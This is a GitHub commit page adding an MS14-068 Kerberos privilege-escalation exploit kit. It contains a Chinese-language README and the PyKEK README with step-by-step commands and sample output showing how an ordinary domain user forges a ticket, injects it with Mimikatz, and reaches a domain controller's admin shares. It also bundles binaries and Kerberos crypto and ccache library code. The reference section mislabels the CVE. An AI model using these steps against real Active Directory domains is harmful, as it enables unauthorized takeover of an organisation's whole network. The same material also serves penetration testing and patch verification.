Skip to content

Commit bb4b25c

Browse files
committed
MS14-068
1 parent 973a608 commit bb4b25c

Some content is hidden

Large Commits have some content hidden by default. Use the searchbox below for content that may be hidden.

46 files changed

+4772
-0
lines changed

MS14-068/MS14-068.exe

3.33 MB
Binary file not shown.

MS14-068/README.md

+42
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,42 @@
1+
# MS14-068
2+
3+
```
4+
将普通域用户权限提升为域控权限
5+
(漏洞利用后,netuse \\swg.server.com\c$可以直接访问域控的网络资源
6+
```
7+
8+
Vulnerability reference:
9+
* [MS14-068](https://technet.microsoft.com/library/security/ms14-068)
10+
* [CVE-2008-4037](http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-6324)
11+
12+
## Usage
13+
```
14+
域管理员:DCwin03 域名:demo.com 普通域用户:hx
15+
16+
登录普通域用户hx,cmd中输入"whoami/user"获取sid
17+
demo/hx S-1-5-21-3813283032-1038476579-1047458262-1110
18+
19+
![x1](img/x1.png)
20+
![x2](img/x2.png)
21+
退出域用户hx,登录本地用户123
22+
23+
python ms14-068.py -u [email protected] -p pwd_of_test -s S-1-5-21-3813283032-1038476579-1047458262-1110 -d DCwin03.demo.com
24+
![x3](img/x4.png)
25+
![x4](img/x4.png)
26+
c:\User\123>Mimikatz.exe "kerberos:ptc [email protected]" exit
27+
28+
net use \\DCwin03\admin$
29+
30+
dir \\DCwin03\c$
31+
```
32+
33+
34+
## References
35+
* [Additional information about CVE-2014-6324](http://blogs.technet.com/b/srd/archive/2014/11/18/additional-information-about-cve-2014-6324.aspx)
36+
* [深入解读MS14-068漏洞](http://www.freebuf.com/vuls/56081.html)
37+
* [Attack Methods for Gaining Domain Admin Rights in Active Directory](https://adsecurity.org/?p=2362)
38+
* [MS14068域控提权漏洞及其防护](http://www.php230.com/weixin1418640395.html)
39+
* [MS14-068 privilege escalation PoC](http://www.secpulse.com/archives/2874.html)
40+
41+
42+

MS14-068/img/x1.png

21.2 KB
Loading

MS14-068/img/x2.png

6.75 KB
Loading

MS14-068/img/x3.png

21.3 KB
Loading

MS14-068/img/x4.png

8.3 KB
Loading

MS14-068/mimikatz_trunk.zip

708 KB
Binary file not shown.

MS14-068/pykek/README.md

+64
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,64 @@
1+
Python Kerberos Exploitation Kit
2+
===
3+
4+
PyKEK (Python Kerberos Exploitation Kit), a python library to manipulate KRB5-related data. (Still in development)
5+
6+
For now, only a few functionalities have been implemented (in a quite Quick'n'Dirty way) to exploit MS14-068 (CVE-2014-6324) .
7+
8+
More is coming...
9+
10+
# Author
11+
Sylvain Monné
12+
13+
Contact : sylvain dot monne at solucom dot fr
14+
15+
http://twitter.com/bidord
16+
17+
Special thanks to: Benjamin DELPY `gentilkiwi`
18+
19+
# Library content
20+
* kek.krb5: Kerberos V5 ([RFC 4120](https://tools.ietf.org/html/rfc4120)) ASN.1 structures and basic protocol functions
21+
* kek.ccache: Credential Cache Binary Format ([cchache](http://www.gnu.org/software/shishi/manual/html_node/The-Credential-Cache-Binary-File-Format.html))
22+
* kek.pac: Microsoft Privilege Attribute Certificate Data Structure ([MS-PAC](http://msdn.microsoft.com/en-us/library/cc237917.aspx))
23+
* kek.crypto: Kerberos and MS specific cryptographic functions
24+
25+
# Exploits
26+
## ms14-068.py
27+
Exploits [MS14-680](https://technet.microsoft.com/en-us/library/security/ms14-068.aspx) vulnerability on an un-patched domain controler of an Active Directory domain to get a Kerberos ticket for an existing domain user account with the privileges of the following domain groups :
28+
- Domain Users (513)
29+
- Domain Admins (512)
30+
- Schema Admins (518)
31+
- Enterprise Admins (519)
32+
- Group Policy Creator Owners (520)
33+
34+
### Usage :
35+
```
36+
USAGE:
37+
ms14-068.py -u <userName>@<domainName> -s <userSid> -d <domainControlerAddr>
38+
39+
OPTIONS:
40+
-p <clearPassword>
41+
--rc4 <ntlmHash>
42+
```
43+
### Example usage :
44+
#### Linux (tested with samba and MIT Kerberos)
45+
```
46+
root@kali:~/sploit/pykek# python ms14-068.py -u [email protected] -s S-1-5-21-557603841-771695929-1514560438-1103 -d dc-a-2003.dom-a.loc
47+
Password:
48+
[+] Building AS-REQ for dc-a-2003.dom-a.loc... Done!
49+
[+] Sending AS-REQ to dc-a-2003.dom-a.loc... Done!
50+
[+] Receiving AS-REP from dc-a-2003.dom-a.loc... Done!
51+
[+] Parsing AS-REP from dc-a-2003.dom-a.loc... Done!
52+
[+] Building TGS-REQ for dc-a-2003.dom-a.loc... Done!
53+
[+] Sending TGS-REQ to dc-a-2003.dom-a.loc... Done!
54+
[+] Receiving TGS-REP from dc-a-2003.dom-a.loc... Done!
55+
[+] Parsing TGS-REP from dc-a-2003.dom-a.loc... Done!
56+
[+] Creating ccache file '[email protected]'... Done!
57+
root@kali:~/sploit/pykek# mv [email protected] /tmp/krb5cc_0
58+
```
59+
#### On Windows
60+
61+
```
62+
python.exe ms14-068.py -u [email protected] -s S-1-5-21-557603841-771695929-1514560438-1103 -d dc-a-2003.dom-a.loc
63+
mimikatz.exe "kerberos::ptc [email protected]" exit`
64+
```

MS14-068/pykek/kek/__init__.py

Whitespace-only changes.

MS14-068/pykek/kek/_crypto/ARC4.py

+24
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,24 @@
1+
class ARC4Cipher(object):
2+
def __init__(self, key):
3+
self.key = key
4+
5+
def encrypt(self, data):
6+
S = range(256)
7+
j = 0
8+
out = []
9+
for i in range(256):
10+
j = (j + S[i] + ord( self.key[i % len(self.key)] )) % 256
11+
S[i] , S[j] = S[j] , S[i]
12+
i = j = 0
13+
for char in data:
14+
i = ( i + 1 ) % 256
15+
j = ( j + S[i] ) % 256
16+
S[i] , S[j] = S[j] , S[i]
17+
out.append(chr(ord(char) ^ S[(S[i] + S[j]) % 256]))
18+
return ''.join(out)
19+
20+
def decrypt(self, data):
21+
return self.encrypt(data)
22+
23+
def new(key):
24+
return ARC4Cipher(key)

MS14-068/pykek/kek/_crypto/MD4.py

+4
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,4 @@
1+
import hashlib
2+
3+
def new(*args):
4+
return hashlib.new('md4', *args)

MS14-068/pykek/kek/_crypto/MD5.py

+4
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,4 @@
1+
import hashlib
2+
3+
def new(*args):
4+
return hashlib.md5(*args)

MS14-068/pykek/kek/_crypto/__init__.py

Whitespace-only changes.

MS14-068/pykek/kek/ccache.py

+190
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,190 @@
1+
#!/usr/bin/python
2+
3+
# Author
4+
# ------
5+
# Sylvain Monne
6+
# Contact : sylvain dot monne at solucom dot fr
7+
# http://twitter.com/bidord
8+
9+
from collections import namedtuple
10+
import struct
11+
from struct import pack, unpack
12+
13+
from util import gt2epoch, bitstring2int
14+
from krb5 import encode, Ticket, NT_PRINCIPAL
15+
16+
CCacheCredential = namedtuple('CCacheCredential', 'client server key time is_skey tktflags addrs authdata ticket second_ticket')
17+
CCacheKeyblock = namedtuple('CCacheKeyblock', 'keytype etype keyvalue')
18+
CCacheTimes = namedtuple('CCacheTimes', 'authtime starttime endtime renew_till')
19+
CCacheAddress = namedtuple('CCacheAddress', 'addrtype addrdata')
20+
CCacheAuthdata = namedtuple('CCacheAuthdata', 'authtype authdata')
21+
CCachePrincipal = namedtuple('CCachePrincipal', 'name_type realm components')
22+
23+
VERSION = 0x0504
24+
DEFAULT_HEADER = '00010008ffffffff00000000'.decode('hex')
25+
26+
class CCache(object):
27+
def __init__(self, primary_principal, credentials=[], header=DEFAULT_HEADER):
28+
if not isinstance(primary_principal, CCachePrincipal):
29+
if isinstance(primary_principal, basestring) and '@' in primary_principal:
30+
realm, user_name = primary_principal.split('@', 1)
31+
elif isinstance(primary_principal, tuple) and len(primary_principal) == 2:
32+
realm, user_name = primary_principal
33+
else:
34+
raise ValueError('Bad primary principal format: %r' % primary_principal)
35+
primary_principal = CCachePrincipal(NT_PRINCIPAL, realm, [user_name])
36+
37+
self.primary_principal = primary_principal
38+
self.credentials = credentials
39+
self.header = header
40+
41+
@classmethod
42+
def load(cls, filename):
43+
fp = open(filename, 'rb')
44+
version, headerlen = unpack('>HH', fp.read(4))
45+
if version != VERSION:
46+
raise ValueError('Unsupported version: 0x%04x' % version)
47+
header = fp.read(headerlen)
48+
primary_principal = cls.read_principal(fp)
49+
credentials = []
50+
while True:
51+
try:
52+
credentials.append(cls.read_credential(fp))
53+
except struct.error:
54+
break
55+
fp.close()
56+
return cls(primary_principal, credentials, header)
57+
58+
def save(self, filename):
59+
fp = open(filename, 'wb')
60+
fp.write(pack('>HH', VERSION, len(self.header)))
61+
fp.write(self.header)
62+
self.write_principal(fp, self.primary_principal)
63+
for cred in self.credentials:
64+
self.write_credential(fp, cred)
65+
fp.close()
66+
67+
def add_credential(self, newcred):
68+
for i in range(len(self.credentials)):
69+
if self.credentials[i].client == newcred.client and \
70+
self.credentials[i].server == newcred.server:
71+
self.credentials[i] = newcred
72+
return
73+
self.credentials.append(newcred)
74+
75+
@classmethod
76+
def read_string(cls, fp):
77+
length = unpack('>I', fp.read(4))[0]
78+
return fp.read(length)
79+
80+
@classmethod
81+
def write_string(cls, fp, s):
82+
fp.write(pack('>I', len(s)))
83+
fp.write(s)
84+
85+
@classmethod
86+
def read_principal(cls, fp):
87+
name_type, num_components = unpack('>II', fp.read(8))
88+
realm = cls.read_string(fp)
89+
components = [cls.read_string(fp) for i in range(num_components)]
90+
return CCachePrincipal(name_type, realm, components)
91+
92+
@classmethod
93+
def write_principal(cls, fp, p):
94+
fp.write(pack('>II', p.name_type, len(p.components)))
95+
cls.write_string(fp, p.realm)
96+
for comp in p.components:
97+
cls.write_string(fp, comp)
98+
99+
@classmethod
100+
def read_keyblock(cls, fp):
101+
keytype, etype, keylen = unpack('>HHH', fp.read(6))
102+
keyvalue = fp.read(keylen)
103+
return CCacheKeyblock(keytype, etype, keyvalue)
104+
105+
@classmethod
106+
def write_keyblock(cls, fp, k):
107+
fp.write(pack('>HHH', k.keytype, k.etype, len(k.keyvalue)))
108+
fp.write(k.keyvalue)
109+
110+
@classmethod
111+
def read_times(cls, fp):
112+
authtime, starttime, endtime, renew_till = unpack('>IIII', fp.read(16))
113+
return CCacheTimes(authtime, starttime, endtime, renew_till)
114+
115+
@classmethod
116+
def write_times(cls, fp, t):
117+
fp.write(pack('>IIII', t.authtime, t.starttime, t.endtime, t.renew_till))
118+
119+
@classmethod
120+
def read_address(cls, fp):
121+
addrtype = unpack('>H', fp.read(2))[0]
122+
addrdata = cls.read_string(fp)
123+
return CCacheAddress(addrtype, addrdata)
124+
125+
@classmethod
126+
def write_address(cls, fp, a):
127+
fp.write(pack('>H', a.addrtype))
128+
cls.write_string(fp, a.addrdata)
129+
130+
@classmethod
131+
def read_credential(cls, fp):
132+
client = cls.read_principal(fp)
133+
server = cls.read_principal(fp)
134+
key = cls.read_keyblock(fp)
135+
time = cls.read_times(fp)
136+
is_skey, tktflags, num_address = unpack('>BII', fp.read(9))
137+
addrs = [cls.read_address(fp) for i in range(num_address)]
138+
num_authdata = unpack('>I', fp.read(4))[0]
139+
authdata = [cls.read_authdata(fp) for i in range(num_authdata)]
140+
ticket = cls.read_string(fp)
141+
second_ticket = cls.read_string(fp)
142+
return CCacheCredential(client, server, key, time, is_skey, tktflags,
143+
addrs, authdata, ticket, second_ticket)
144+
145+
@classmethod
146+
def write_credential(cls, fp, c):
147+
cls.write_principal(fp, c.client)
148+
cls.write_principal(fp, c.server)
149+
cls.write_keyblock(fp, c.key)
150+
cls.write_times(fp, c.time)
151+
fp.write(pack('>BII', c.is_skey, c.tktflags, len(c.addrs)))
152+
for addr in c.addrs:
153+
cls.write_address(fp, addr)
154+
fp.write(pack('>I', len(c.authdata)))
155+
for authdata in c.authdata:
156+
cls.write_authdata(fp, authdata)
157+
cls.write_string(fp, c.ticket)
158+
cls.write_string(fp, c.second_ticket)
159+
160+
def get_tgt_cred(ccache):
161+
for credential in ccache.credentials:
162+
if credential.server.components[0] == 'krbtgt':
163+
return credential
164+
raise ValueError('No TGT in CCache!')
165+
166+
def kdc_rep2ccache(kdc_rep, kdc_rep_enc):
167+
return CCacheCredential(
168+
client=CCachePrincipal(
169+
name_type=int(kdc_rep['cname']['name-type']),
170+
realm=str(kdc_rep['crealm']),
171+
components=[str(c) for c in kdc_rep['cname']['name-string']]),
172+
server=CCachePrincipal(
173+
name_type=int(kdc_rep_enc['sname']['name-type']),
174+
realm=str(kdc_rep_enc['srealm']),
175+
components=[str(c) for c in kdc_rep_enc['sname']['name-string']]),
176+
key=CCacheKeyblock(
177+
keytype=int(kdc_rep_enc['key']['keytype']),
178+
etype=0,
179+
keyvalue=str(kdc_rep_enc['key']['keyvalue'])),
180+
time=CCacheTimes(
181+
authtime=gt2epoch(str(kdc_rep_enc['authtime'])),
182+
starttime=gt2epoch(str(kdc_rep_enc['starttime'])),
183+
endtime=gt2epoch(str(kdc_rep_enc['endtime'])),
184+
renew_till=gt2epoch(str(kdc_rep_enc['renew-till']))),
185+
is_skey=0,
186+
tktflags=bitstring2int(kdc_rep_enc['flags']),
187+
addrs=[],
188+
authdata=[],
189+
ticket=encode(kdc_rep['ticket'].clone(tagSet=Ticket.tagSet, cloneValueFlag=True)),
190+
second_ticket='')

MS14-068/pykek/kek/crypto.py

+65
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,65 @@
1+
#!/usr/bin/python
2+
3+
# Author
4+
# ------
5+
# Sylvain Monne
6+
# Contact : sylvain dot monne at solucom dot fr
7+
# http://twitter.com/bidord
8+
9+
from random import getrandbits, sample
10+
from struct import pack
11+
12+
try:
13+
from Crypto.Cipher import ARC4
14+
from Crypto.Hash import HMAC, MD5, MD4
15+
except ImportError:
16+
from _crypto import ARC4, MD5, MD4
17+
import hmac as HMAC
18+
19+
# supported encryptions
20+
RC4_HMAC = 23
21+
22+
# suported checksum
23+
RSA_MD5 = 7
24+
HMAC_MD5 = 0xFFFFFF76
25+
26+
def random_bytes(n):
27+
return ''.join(chr(c) for c in sample(xrange(256), n))
28+
29+
def decrypt(etype, key, msg_type, encrypted):
30+
if etype != RC4_HMAC:
31+
raise NotImplementedError('Only RC4-HMAC supported!')
32+
chksum = encrypted[:16]
33+
data = encrypted[16:]
34+
k1 = HMAC.new(key, pack('<I', msg_type)).digest()
35+
k3 = HMAC.new(k1, chksum).digest()
36+
data = ARC4.new(k3).decrypt(data)
37+
if HMAC.new(k1, data).digest() != chksum:
38+
raise ValueError('Decryption failed! (checksum error)')
39+
return data[8:]
40+
41+
def encrypt(etype, key, msg_type, data):
42+
if etype != RC4_HMAC:
43+
raise NotImplementedError('Only RC4-HMAC supported!')
44+
k1 = HMAC.new(key, pack('<I', msg_type)).digest()
45+
data = random_bytes(8) + data
46+
chksum = HMAC.new(k1, data).digest()
47+
k3 = HMAC.new(k1, chksum).digest()
48+
return chksum + ARC4.new(k3).encrypt(data)
49+
50+
def checksum(cksumtype, data, key=None):
51+
if cksumtype == RSA_MD5:
52+
return MD5.new(data).digest()
53+
elif cksumtype == HMAC_MD5:
54+
return HMAC.new(key, data).digest()
55+
else:
56+
raise NotImplementedError('Only MD5 supported!')
57+
58+
def generate_subkey(etype=RC4_HMAC):
59+
if etype != RC4_HMAC:
60+
raise NotImplementedError('Only RC4-HMAC supported!')
61+
key = random_bytes(16)
62+
return (etype, key)
63+
64+
def ntlm_hash(pwd):
65+
return MD4.new(pwd.encode('utf-16le'))

0 commit comments

Comments
 (0)